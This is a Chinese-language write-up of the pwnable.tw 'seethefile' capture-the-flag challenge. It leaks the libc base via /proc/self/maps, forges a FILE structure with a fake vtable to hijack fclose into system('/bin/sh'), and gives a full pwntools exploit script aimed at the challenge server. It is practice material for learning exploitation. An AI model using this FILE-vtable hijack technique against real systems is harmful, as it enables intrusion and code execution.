Contents
  1. 1. seethefile
    1. 1.1. 分析
    2. 1.2. exp

seethefile

分析

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

最后exit的漏洞很明显了,再看bss,可以覆写fp,以前学了一点[IO(笔记](https://p1kk.github.io/2019/10/22/FILE structure used with “stream functions”/FILE structure used with “stream functions”/#libc2-23及之前版本的libc下伪造vtable劫持)…不过忘了=。=复习复习

主要看看fclose

_IO_unlink_it将指定FILE从_chain链表中脱链
_IO_file_close_it –> close –> 【vtable中_IO_finish –> _IO_file_finish –> free

所以尝试将

/proc/self/maps文件,打印出效果类于vmmap,就可以得到libc base

1
2
3
4
$ strings libc_32.so.6 | grep GNU
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
GNU Libidn by Simon Josefsson

libc版本是2.23

在libc2.23版本下,32位的vtable偏移为0x94,64位的偏移为0xd8

将io_file伪造成这样的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pwndbg> p *((struct _IO_FILE_plus*)0x804B260)		# name_addr
$1 = {
file = {
_flags = 1852400175,
_IO_read_ptr = 0x68732f <error: Cannot access memory at address 0x68732f>,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x804b260 <name> "/bin/sh",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x804b270 <name+16>,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 39 times>
},
vtable = 0x804b2b4
}
pwndbg> p *((struct _IO_jump_t*)0x804b2b4) # vtable_addr
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x0,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x804b2b4,
__close = 0xf7d80250 <__libc_system>,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./seethefile"
ip = "chall.pwnable.tw"
port = 10200
elf = ELF(binary)

def menu(choice):
io.sendlineafter("choice :", str(choice))

def open(filename):
menu(1)
io.sendafter("see :", filename)

def read():
menu(2)

def write():
menu(3)

def close():
menu(4)

def exit(name):
menu(5)
io.sendafter("name :", name)


def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = elf.libc
else:
io = remote(ip, port)
libc = ELF("./libc_32.so.6")
# payload = 'k' * 0x20 + "/home/seethefile/flag"
open("/proc/self/maps\n")
read()
read()
write()
io.recvuntil("\n")
libc_base = int("0x"+io.recv(8),16)
sys_addr = libc_base + libc.sym['system']
success("libc_base = "+hex(libc_base))
success("sys_addr = "+hex(sys_addr))
# gdb.attach(io)
name_addr = 0x0804B260
payload = "/bin/sh\x00"
payload = payload.ljust(0x20, '\x00')
payload += p32(name_addr) # fake file addr
payload = payload.ljust(0x48, '\x00')
payload += p32(name_addr + 0x10)
payload = payload.ljust(0x94, '\x00')
payload += p32(name_addr+0x98-0x44)
payload += p32(sys_addr)

exit(payload)
gdb.attach(io)

io.interactive()

if __name__ == '__main__':
pwn(ip, port, 1)

并不能直接得到flag

需要运行get_flag,源码也给惹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <unistd.h>
#include <stdio.h>

int read_input(char *buf,unsigned int size){
int ret ;
ret = read(0,buf,size);
if(ret <= 0){
puts("read error");
exit(1);
}
if(buf[ret-1] == '\n')
buf[ret-1] = '\x00';
return ret ;
}

int main(){
char buf[100];
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
printf("Your magic :");
read_input(buf,40);
if(strcmp(buf,"Give me the flag")){
puts("GG !");
return 1;
}
FILE *fp = fopen("/home/seethefile/flag","r");
if(!fp){
puts("Open failed !");
}
fread(buf,1,40,fp);
printf("Here is your flag: %s \n",buf);
fclose(fp);
}

输入Give me the flag即可

参考:https://www.jianshu.com/p/2e00afb01606

[https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/](https://veritas501.space/2017/12/13/IO FILE 学习笔记/) 里面有一个FILE.py伪造结构体感觉很好ovo